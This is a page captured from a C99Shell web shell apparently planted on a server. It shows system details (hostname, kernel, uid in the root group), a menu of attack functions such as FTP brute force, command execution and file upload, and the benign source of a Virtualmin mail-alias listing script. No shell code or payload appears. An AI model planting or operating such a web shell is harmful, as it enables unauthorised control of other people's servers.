!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     list-simple-aliases.pl (3.35 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl

=head1 list-simple-aliases.pl

Lists mail aliases in a simple format for some domain

This program is similar to C<list-aliases>, and takes all the same
command-line parameters. However, it simplifies the display of aliases using
autoresponders to show the reply content, instead of just the path to the
autoreply file.

=cut

package virtual_server;
if (!$module_name) {
    $main::no_acl_check++;
    $ENV{'WEBMIN_CONFIG'} ||= "/etc/webmin";
    $ENV{'WEBMIN_VAR'} ||= "/var/webmin";
    if ($0 =~ /^(.*)\/[^\/]+$/) {
        chdir($pwd = $1);
        }
    else {
        chop($pwd = `pwd`);
        }
    $0 = "$pwd/list-simple-aliases.pl";
    require './virtual-server-lib.pl';
    $< == 0 || die "list-simple-aliases.pl must be run as root";
    }

# Parse command-line args
while(@ARGV > 0) {
    local $a = shift(@ARGV);
    if ($a eq "--domain") {
        push(@dnames, shift(@ARGV));
        }
    elsif ($a eq "--user") {
        push(@users, shift(@ARGV));
        }
    elsif ($a eq "--all-domains") {
        $all = 1;
        }
    elsif ($a eq "--multiline") {
        $multi = 1;
        }
    elsif ($a eq "--plugins") {
        $plugins = 1;
        }
    elsif ($a eq "--help") {
        &usage();
        }
    else {
        &usage("Unknown parameter $a");
        }
    }

# Validate args and get domains
@dnames || @users || $all || &usage("No domains or users specified");
if ($all) {
    @doms = &list_domains();
    }
else {
    @doms = &get_domains_by_names_users(\@dnames, \@users, \&usage);
    }

foreach $d (@doms) {
    @aliases = &list_domain_aliases($d, !$plugins);
    if ($multi) {
        # Show each destination on a separate line
        foreach $a (@aliases) {
            $simple = &get_simple_alias($d, $a);
            next if (!$simple);
            print $a->{'from'},"\n";
            print "    Domain: $d->{'dom'}\n";
            print "    Comment: $a->{'cmt'}\n" if ($a->{'cmt'});
            foreach $f (@{$simple->{'forward'}}) {
                print "    Forward: $f\n";
                }
            if ($simple->{'bounce'}) {
                print "    Bounce: Yes\n";
                }
            if ($simple->{'local'}) {
                print "    Local user: $simple->{'local'}\n";
                }
            if ($simple->{'everyone'}) {
                print "    Everyone: Yes\n";
                }
            if ($simple->{'auto'}) {
                $msg = $simple->{'autotext'};
                $msg =~ s/\n/\\n/g;
                print "    Autoreply message: $msg\n";
                }
            if ($simple->{'period'}) {
                print "    Autoreply period: $simple->{'period'}\n";
                }
            if ($simple->{'from'}) {
                print "    Autoreply from: $simple->{'from'}\n";
                }
            }
        }
    else {
        # Show all on one line
        if (@doms > 1) {
            print "Aliases in domain $d->{'dom'} :\n"; 
            }
        $fmt = "%-20.20s %-59.59s\n";
        printf $fmt, "Alias", "Destination";
        printf $fmt, ("-" x 20), ("-" x 59);
        foreach $a (@aliases) {
            $simple = &get_simple_alias($d, $a);
            next if (!$simple);
            @to = @{$simple->{'forward'}};
            push(@to, "Bounce") if ($simple->{'bounce'});
            push(@to, $simple->{'local'}) if ($simple->{'local'});
            push(@to, "Autoreply") if ($simple->{'auto'});
            push(@to, "Everyone") if ($simple->{'everyone'});
            printf $fmt, &nice_from($a->{'from'}),
                     join(", ", @to);
            }
        if (@doms > 1) {
            print "\n";
            }
        }
    }

sub nice_from
{
local $f = $_[0];
$f =~ s/\@$domain$//;
return $f eq "%1" || !$f ? "*" : $f;
}

sub usage
{
print "$_[0]\n\n" if ($_[0]);
print "Lists the simple mail aliases in some virtual server.\n";
print "\n";
print "virtualmin list-simple-aliases --all-domains | --domain name | --user username\n";
print "                              [--multiline]\n";
print "                              [--plugins]\n";
exit(1);
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--